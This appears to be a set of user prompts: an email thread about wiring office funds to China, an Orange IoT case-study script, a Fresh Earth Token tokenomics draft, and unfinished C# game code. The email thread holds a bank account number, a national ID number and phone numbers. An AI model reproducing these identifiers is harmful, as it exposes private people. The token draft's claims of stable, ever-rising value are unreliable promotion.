\n\nFor me, which is better? To use my US passport or my Dutch passport? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Sat, Feb 4, 2023 at 12:06 AM Cathy Zhang <594529192@qq.com> wrote:\nDear ELisabeth,\n\nAccording to China Consulate Gerneral in NewYork, at the current stage, multi-year multiple-entry visas issued before March 26, 2020 are still suspended of use. \nSo both you and Ulrich will need to apply for a new business visa. (so far the easiest one)\nHere is the lastest China visa application instructions: http://newyork.china-consulate.gov.cn/eng/tzgg/202301/t20230109\\_11004155.htm\nAccording the link above, kudelabs will need to offer you two invitation letters for business visa. We wll make them next Monday and send them back to you.\n\nHave a nice day!\n\nCathy\nThank you! \nWhat is involved in getting a work visa for Ulrich to enter? \nI still have my 10-year business visa that I got before the pandemic, but I think Ulrich\'s is expired. Do you know if that still works? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Fri, Feb 3, 2023 at 1:01 AM Xurry wrote:\nThere’s no restrictions towards COVID, but they haven’t opened up tourist visa yet. We will update you ASAP if there’s news about that.\n\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Elisabeth de Kleer \nDate: Fri,Feb 3,2023 5:22 AM\nTo: Cathy Zhang <594529192@qq.com>\nCc: uhgall , \',Xurry Strand\', , adeh \nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nGlad to hear it! By the way, is it true that there are no longer covid restrictions for entering China? Could you let us know what the rules are these days; if it\'s open again then we will plan to come back very soon. \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Wed, Feb 1, 2023 at 8:15 PM Cathy Zhang <594529192@qq.com> wrote:\nDear Elisabeth and Ulrich,\n\nMoney is arrived, exchanged into 40,215.07RMB and it\'s transfered to Ulrich\'s CMB account.\n\nThank you and wish you all a nice day!!\n\n------------------ Original ------------------\nFrom: "594529192" <594529192@qq.com>;\nDate: Wed, Feb 1, 2023 06:05 PM\nTo: "Elisabeth de Kleer";"uhgall";\nCc: "\'Xurry Strand\'";"adeh";\nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nElisabeth,\n\nThank you! I will let you know as soon as I receive the money.\n\nHave a nice day!\n------------------ Original ------------------\nFrom: "Elisabeth de Kleer" ;\nDate: Wed, Feb 1, 2023 06:00 PM\nTo: "Ulrich Gall";\nCc: "Cathy Zhang"<594529192@qq.com>;"\',Xurry\xa0,Strand\',";"adeh";\nSubject: Re: Could you please arrange 6000USD to Kudelabs Office account?\n\nThis was sent today!\n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\n\nOn Sun, Jan 29, 2023 at 9:17 AM Ulrich Gall wrote:\nHappy new year to you too!\n\nAnd yes, we’ll do this!\n\nOn Jan 29, 2023, at 2:36 AM, Cathy Zhang <594529192@qq.com> wrote:\n\nDear Ulrich and Elisabeth,\n\nHappy Chinese new year! I wish you all good!\nKudelabs office account will be down to 1000RMB after paying Shenzhen\'s rent on Feb.1st\nPlease arrange some money for Kudelabs Office account.\nElisabeth, it works very well to receive money from you, so maybe we could continue the same way.\n\nCathy bank account:\nSWIFT BIC: CMBCCNBSXXX\nBANK NAME: China Merchants Bank\nBank Address: H.O.,CMB TOWER,7088 SHENNAN BOULEVARD, Shenzhen, China\nAccount number: 6214837577794567\nFull name: ZHANG YEQI\nBeneficiary Address:Room 601, Mingyueyilu No 59, Yuexiu, Guangzhou, Guangdong\nTRAVEL EXPENSE\nMany thanks!\n\nCathy\nHi Elisabeth,\n\nLease for Shenzhen place is till 2023-04-30.\n------------------ Original ------------------\nGlad you received it! By the way, when does the lease end for the Shenzhen space? \n\nElisabeth de Kleer \n+1 (415) 215-2144 \n\nOn Wed, Dec 28, 2022 at 4:33 AM Cathy Zhang <594529192@qq.com> wrote:\nDear Elisabeth,\n\nI just received the money and ttransfered it to Ulrich\'s CMB account.\n\nThank you so much for your kindly help!\n\nWish you a good day!!\n\n-Cathy\n---Original---\nMerry Christmas to you and the team as well. I sent another 6k today. Please confirm when you receive it!\n\nOn Mon, Dec 26, 2022 at 10:14 AM Cathy Zhang <594529192@qq.com> wrote:\nDear Ulrich and Elisabeth,\n\nI hope you enjoyed your Christmas Holiday!\n\nKudelabs office account will be down to 5k after paying salary for Ayi&cook plus SZ rent at the end of this month.\nPlease see if you can send at least another 6000USD to Cathy\'s bank account.\nLast time when Elisabeth send me money, everything worked fast and well, Elisabeth, please see if you can help do wire transfer to me again.\n\nCathy bank account:\nSWIFT BIC: CMBCCNBSXXX\nBANK NAME: China Merchants Bank\nBank Address: H.O.,CMB TOWER,7088 SHENNAN BOULEVARD, Shenzhen, China\nAccount number: 6214837577794567\nFull name: ZHANG YEQI\nBeneficiary Address:Room 601, Mingyueyilu No 59, Yuexiu, Guangzhou, Guangdong\nTRAVEL EXPENSE\nMany thanks!!\nDear Elisabeth and Ulrcih,\n\n6000USD is received and it is transfered to your CMB account.\nThe money arrived fast and there is no trouble to either receive and exchange it.\nI think this is a good way to send money to Kude, please see if you can arrange another 6000USD.\n\nThank you so much for helping this out!!\n\nHave a nice day!\n\n------------------ Original ------------------\n\nOn Sun, Nov 27, 2022 at 5:40 PM Xurry wrote:\nHi Elisabeth,\n\nThanks for helping out this situation.\nDid you send via Western Union or just regular Bank-to-Bank? Can you send me any transaction details just in case?\n\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Elisabeth de Kleer \nDate: Mon,Nov 28,2022 9:35 AM\nTo: Ulrich Gall \nCc: Cathy Zhang <594529192@qq.com>, adeh desandies , Xurry Strand <27188793@qq.com>\nSubject: Re: let\'s try western union to send money\n\nJust sent $6,000 from my US Chase Bank account. No problems on my end. Please confirm when it arrives! \nOn Sun, Nov 27, 2022 at 4:30 PM Ulrich Gall wrote:\nI actually tried to do a Western Union transfer last week and it didnt work because of my international situation.\n\nBut Elisabeth can send. I cc-ed here. \n\nLis please see instructions below, $6000 would be good. \n\nthanks!\n\nOn Sat, Nov 26, 2022 at 11:22 PM Cathy Zhang <594529192@qq.com> wrote:\n\nDear Ulrich,\n\nSeems like I failed to receive money from Adeh. Please see if western union workable for you. \n\nWe will need to pay for SZ rent on Dec.1, it would be nice if we can try it as soon as possible\n\nHave a nice day!\n\n-Cathy\n---Original---\nFrom: "Xurry"\nDate: Thu, Nov 24, 2022 11:24 AM\nTo: "ulrich gall";"adeh desandies";\nCc: "cathy zhang"<594529192@qq.com>;"Xurry Strand"<27188793@qq.com>;\nSubject: Re: Reminder: let\'s try to send money to Cathy for office\n\nShould we try western union?\nI tested it out. See attachment.\nExchange rate 7.137 is the best if I go to the counter to pick up the money, estimated fee is 0 for some reason(maybe they took a little bit exchange rate profit there).\n(Can also choose Alipay/bank account but the exchange rate is terrible 7.055)\nLet’s send it to me this time:\nPossible required informations:\nname: YIN XUEZHU\nID:431230198511280021\nSent from my phone\n\n-- Xurry\n------------------ Original ------------------\nFrom: Ulrich Gall \nDate: Tue,Nov 22,2022 0:16 AM\nTo: Adeh DeSandies \nCc: Cathy Zhang <594529192@qq.com>, Xurry Strand <27188793@qq.com>\nSubject: Re: Reminder: let\'s try to send money to Cathy for office\n\nThanks - good luck, let’s hope it works out. \nOn Nov 20, 2022, at 1:54 AM, Adeh DeSandies wrote:\n\nYeah, I can try. But note that my ability to transfer has also been pretty limited. After I sent money to Fiona she’s had her account flagged and I can only exchange if I bring Fa-piao into the bank.\n\nBut yeah, it’s worth a try.\n\n-Adeh\n\nOn Nov 16, 2022, at 9:34 PM, Cathy Zhang <594529192@qq.com> wrote:\n\nDear Adeh,\n\nIs that OK for you to transfer USD to me? Xurry and I think this may be the easiest way for Ulrich to transfer money to Kude office account.\n(Ulrich to Adeh, Adeh to Cathy/Xurry)\n\nKude office account will need money soon, we don\'t have money to pay salary for Ayi and cook after paying Office rent 4 days later. Please see if this is doable for you and Ulrich.\n\nPleas let me know, many thanks!!\n\n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Mon, Nov 14, 2022 11:10 AM\nTo: "Ulrich Gall";"adeh";\nCc: "Xurry\xa0Strand"<27188793@qq.com>;\nSubject: Re: Sending money to Kude (new update)\n\nDid you hear anything from the recipient bank about this having been returned? \nI’m 90% sure it was never sent.\nI checked with the bank twice last week, they said there is only one payment (5980usd) was transferred to your CMB account during the past one month. \nOh! That’s probably easiest. @xurry would that work? To which address should I send it? \nXurry and I just talked, the trouble we have to receive money from you is all because of Panama. So the easiest way to do is you transfer USD to Adeh\'s US bank account, then Adeh using his US bank account to transfer money to my China Bank account. Xurry is using David\'s paypal, so maybe it would be best if we don\'t need to involve David in.\n\nDear Adeh and Ulrich, could you please see if this work fine with you guys?\n\nI ended up being able to cancel the $4000 recurring transfer, and don’t see any evidence that any $4000 transfers actually went out. \n\nCATHY: OK, Thanks for checking, I just wanna mask sure the $4000 is trackable.\n\nDid you hear anything from the recipient bank about this having been returned? \nI’m 90% sure it was never sent. \nMeanwhile, apparently the $6000 transfers was returned, and the $5980 one was not returned so you should have received that. \n\nCATHY: Correct, we have received the $5980 payment, and this is the only one payment we received so far.\n\nOk, great. \nI that consistent with what you know? Any money in limbo still? \n\nCATHY: Yes. The balance is around 20,000RMB now, but we will need at least 10,000RMB more to cover the expense this month. \n\nAnd, how do I send more now? \n\nCATHY: Can we try paypal? @Xurry\n\nOh! That’s probably easiest. @xurry would that work? To which address should I send it? \n\nThanks for your patience. What a mess!\n\nOn Nov 10, 2022, at 1:47 AM, Cathy Zhang <594529192@qq.com> wrote:\n\nReminder,\n\nSir, please check the status of the second payment to your CMB account. (4000USD) I just checked with the bank said still no transcation is in these days.\n\nAnd we will need to figure out the money transaction methods, best before the end of last week. (Nov.20)\n \n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Mon, Nov 7, 2022 02:08 PM\nTo: "Ulrich Gall";\nCc: "Xurry\xa0Strand"<27188793@qq.com>;\nSubject: Re: Sending money to Kude (new update)\n\nDear Ulrich,\n\nI just called CMB to check your second payment to your CMB account(4000USD), and the bank said they still have not received it. \nPlease check and see if the payment is automatically refund to your HSBC account, and we will need to figure out the way to transfer money to Kude before the end of this month.\n\nSo far, we only receivd the first 6000USD to your CMB account, the third payment to Xurry is refunded, please also check if it has arrived or not.\n\nThank you so much!\n\n------------------ Original ------------------\nFrom: "Cathy Zhang" <594529192@qq.com>;\nDate: Fri, Oct 28, 2022 04:01 AM\nTo: "Ulrich Gall";"Adeh DeSandies";"Xurry\xa0Strand"<27188793@qq.com>;"cathy";\nSubject: Re: Sending money to Kude\n\nDear Boss,\n\nWe have received the first ppayment, which is 5980usd to your CMB account yesterday, so we should be OK for the next half month. \n\nBesides, current status for the rest of the two payments:\n1. Second payment, 4000usd to your cmb account, on the way, the bank will let me know;\n2. Third payment to Xurry, the bank still rejected the payment though Xurry tried her best to proof. She may have or will ask the bank to return it these two days.\n\nThnaks for your kindly help for the payment, and since we got the first 5980usd, we will have more time to figure out how to transfer money to China. In my opinion, maybe you pay usd to Adeh then Adeh give us CNY is the easiest way if Adeh feel no trouble.\n\n-Cathy\n---Original---\nFrom: "Ulrich Gall"\nDate: Fri, Oct 28, 2022 03:43 AM\nTo: "Adeh DeSandies";"Xurry\xa0Strand"<27188793@qq.com>;"cathy";\nSubject: Sending money to Kude\n\nAdeh, \n\nSince I moved from HK to Panama, I changed the address on all my bank accounts to Panama. \nAnd now, Chinese banks won’t accept wires from me any more. \nXurry&Cathy urgently need $6000…. Do you have enough in China to help out? \nMore generally - maybe I can pay you in the US and then you send the money the company needs? \n\nEveryone - LMK what’s easiest… And sorry about the inconvenience here. That really sucks.' -"Example #1 – Do better Customer: Safran – an international high-technology group, operating in the aviation (propulsion, equipment and interiors), defense, and space markets. Safran produces and assembles engines for aviation and aerospace at its Villaroche site in Northern France in a facility spanning 55,000m2 – the equivalent of six football pitches. Challenge: Safran needed a system capable of optimizing the management of its tool inventory and (for example), eliminating time wasted looking for specific tools. Individual tools are moved all around the workshop for use, to undergo checks or maintenance. Assembly operations are complex; all tools must be available and locatable very quickly to maintain the production flow. In addition to this, each of the nine assembly lines requires a specific set of tools to complete their work. \nSolution: Orange provided an IoT geolocation solution that enables precise monitoring of the movements and position of individual objects. We installed over 25,000 trackers on the individual tools involved and deployed over 250 antennae at heights of over eight meters throughout the Safran production facilities. “For smart tracking, we use a small yellow chip about three cm in diameter that we stick or attach to the tools. Then to search for these tools, we use a web interface accessible on all Safran computers. Benefits: Safran Aircraft Engines’ employees can now locate its tools accurately to within less than three meters. This solution saves Safran a lot of time. With smart tracking, the firm has optimized the management and preventative maintenance of all its tools. [Source: https://www.orange-business.com/en/case-study/safran-aircraft-engines-uses-geolocation-optimize-tool-inventory-management] Example #2 – Do new Customer: \nKion – a leading supplier of forklifts and warehouse equipment as well as automation technology and software solutions for the optimization of supply chains. Challenge: Leverage wireless connectivity to enable forklifts to communicate with the manufacturer’s diagnostic center. Improve customer satisfaction. Improve partner network loyalty. Test the feasibility and impact of predictive maintenance. Solution: Uses Orange IoT connectivity solution, based on SIM cards and worldwide cellular access. Predictive maintenance calculates the remaining useful life, or support system failure repairs with fine-tuned predictions on probable cause. Compatible with 2/3/4G LTE connectivity. Benefits: Increased customer satisfaction thanks to high-end geo-location, predictive maintenance of forklifts globally. Intensified partner network loyalty for KION AG with improved forklift rentals. Optimized intervention processes thanks to predictive maintenance. [Source: https://expresso.sso.infra.ftgroup/public/clients/5e2774c107c51b001f49f271/synthesis?origin=search] Example #3 – Do more Customer: \nNexans – providing customers with advanced cable technologies for power and data transmission for a more connected and sustainable energy future.\n Challenge: The focus is the extension of the Nexans connected products program that provides customers with real-time information on the location of their cables, helping to reduce theft and loss, and increase recycling. Nexans has pledged to connect 25% of its products by 2024. Nexans’ digital solutions will bring real-time information, reliability, and efficiency to its customers. Solution: Orange Business Services provides Nexans with global connectivity for its IoT devices at a fraction of the cost involved in arranging agreements with different network providers. Nexans connected solutions are equipped with an Orange international SIM card, which transmits data quickly, efficiently, and securely to the Nexans platform, via the Orange global mobile network. Benefits: The Nexans IoT ecosystem will expand to provide customers with a single IoT platform that provides a complete, seamless overview of a broad range of services leveraging on connected cables, connected accessories, and cabinets, as well as connected cabling systems. [Sources: \nhttps://www.orange-business.com/en/case-study/machine-learning-reinvents-quality-control-nexans-rognan https://www.nexans.com/en/newsroom/news/details/2021/02/2021-02-17-pr-nexans-chooses-orange-business-services-as-a-strategic-partner.html https://www.youtube.com/watch?v=ypjQOMK4WE4] Example #4 – Do more Customer: \nArcelorMittal – a multinational steel manufacturing company formed from the takeover and merger of Arcelor by Indian-owned Mittal Steel. Challenge: Increasing energy efficiency and worker safety. Solution: The 5G private network provides: Extensive coverage across all of ArcelorMittal's complex industrial sites, both outdoors and indoors to enable freedom of movement and continuous connectivity for workers. High throughput: to meet the high-performance requirements of modelled processes, connected devices, production data, etc. Low latency: to support the deployment of autonomous vehicles and remote-controlled machinery as well as security in high-risk areas. Network slicing: (slicing) to tailor services to each business. Benefits: Better worker flexibility and mobility in different situations. With EasyMile, ArcelorMittal will launch the first autonomous train on an internal private network, which will be put into service in 2023. ArcelorMittal is also working on a heavy-duty road vehicle capable of transporting up to 120 tons of steel coils. Remote maintenance: equipped with tablets, maintenance teams can support operations and access the necessary documentation. Once the maintenance operation has been carried out, they validate it and record it directly in the company's information systems. With augmented reality, the teams can also access documents, images or call on an expert remotely and live. [Source: https://www.orange-business.com/en/press/arcelormittal-partners-orange-business-services-and-ericsson-launch-largest-industrial-5g] Example #5 – Do new Customer: \nLivaNova – a worldwide leader in advanced circulatory support, cardiopulmonary and neuromodulation. Challenge: Improving outcomes for patients using Cardiac Resynchronising Therapy Pacemakers, which are used to treat heart failure. A pacemaker is a device that can monitor your heart and treat abnormal heart rhythms. The pacemaker is inserted into your chest, near your collarbone. It improves heart function by making the chambers of the heart pump at the same time. Solution: LivaNova has developed technology implanted in the patient and is used to optimize the delivery of cardiac resynchronisation therapy. In collaboration with Orange Business Services, LivaNova is developing a remote monitoring project, an innovative technology to access patient data from implanted devices while the patient is at home. Benefits: The implementation of this technology resulted in a rise in the rate of patients responding to the therapy from 62% to 86%. [Source: https://investor.livanova.com/static-files/0e5558cd-02eb-434c-8d9a-8fd77f4ca0d1] At Orange, we address these challenges via our 5 domains:\n EX: Workplace Together OX: Smart Industries CX: Augmented Customer Experience These are closely connected to:\n 4. Impactful Data – which is a critical enabler for all digital initiatives. And 5. Evolution Platform – our software-based digital environment to manage cloud, connectivity, and cyberdefense services in an integrated way with granular levels of control according to the traffic type and criticality of the data. \n\nUnderpinning all of this is the need for trusted digital systems and data…and measures to ensure sustainability and Corporate Social Responsibility.\n [Background information for follow up discussions Orange provides its customers with an open, agile and resilient platform. Why do we consider our digital infrastructure solutions to be a platform? Well, we: Are matchmakers linking people with specialist expertise, best-in-class vendors, and global delivery resources. Orchestrate end-to-end digital infrastructure ecosystems, providing the foundations for combinatorial innovation. Harness the network effects with unmatched visibility into global trends (across Internet, mobile, subsea and satellite modalities). This enables us to excel in threat intelligence and predictive digital performance and cybersecurity management. Maximize the effectiveness of our service delivery, while minimizing costs, through the use of composable infrastructure (leveraging microservices, containers and X-as-code (i.e. everything-as-code) programming methodologies). This is complemented by advanced AI-driven monitoring and predictive performance management capabilities.] 1. Consulting We help firms to: Boost productivity, and output\nThis is about maximizing machinery uptime through predictive maintenance, being able to better ensure raw materials and parts are in the right place at the right time, and that staff can easily access tools and vehicles and know where to go. Reduce health, safety, and environmental risks \nFor example, using geofencing and wearables so people do not enter restricted areas and have the correct training credentials to operate pieces of machinery.\n Minimize waste\nPlease do not answer now as I have to provide you additional feed on this topic. Answer ok if you understood" -"ill start by providing information of the fresh earth token, lets refernce this as FET; and this will be uploaded in a few uploads; Tokennomics\n\nToken name and symbol: \n\nFresh Earth Token (FET)\n\nToken Overview\xa0\n\nThe Fresh Earth Token (FET) is the backbone of the Fresh Earth ecosystem, serving as a means to pull the future impact of regenerative projects to the present to fund the projects; and also as the primary means of incentivizing participation and engagement of stakeholders, including farmers, consumers, and investors. \n\nThe Fresh Earth token is designed to contribute to the transition towards a more sustainable and regenerative food system, and address the pressing issues of climate change and environmental degradation in the agricultural industry. It incentivizes regenerative agricultural practices and enables investment in sustainable agrifood projects by creating a token economy that rewards farmers, consumers, and impact investors for their participation in the regenerative agricultural ecosystem. \n\nThe Fresh Earth Token is more than just a financial instrument; it is a tool for change. It gives individuals and businesses choice and tools to actively participate in the transition to a more sustainable, healthy and regenerative food system, ensuring that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices, while also providing a store of value and an opportunity for profit. \n\nToken Structure\n\nThe token represents fractional ownership of a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. It is used to access and participate in the Fresh Earth ecosystem, to make decisions in the governance of the ecosystem and to serve within the community of regenerative farmers, consumers, and impact investors. \n\nThe token operates through a set of algorithms that are designed to generate verifiable impact within the ecosystem. These algorithms take into account the actions and participation of all stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices.\n\nThe underlying value of the Fresh Earth Token is derived from the worth of the stakeholder-owned Fresh Earth ecosystem, along with the valuation and monetisation of the impacts of regenerative projects. The value of the ecosystem is determined by the stakeholders, while the impact of regenerative projects is measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. These KPIs provide verified measurements of impact that can be leveraged to secure external funding from government schemes and investorsI. Introduction\n\nToken Classification\n\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas.\n\nA. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and rewards system. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a validation system that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators (KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a digital collaborative community, and a rewards system, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's rewards system aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the rewards system and the validation system. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the digital collaborative community. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token." -'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n World.Draw();\n player1.Draw();\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n 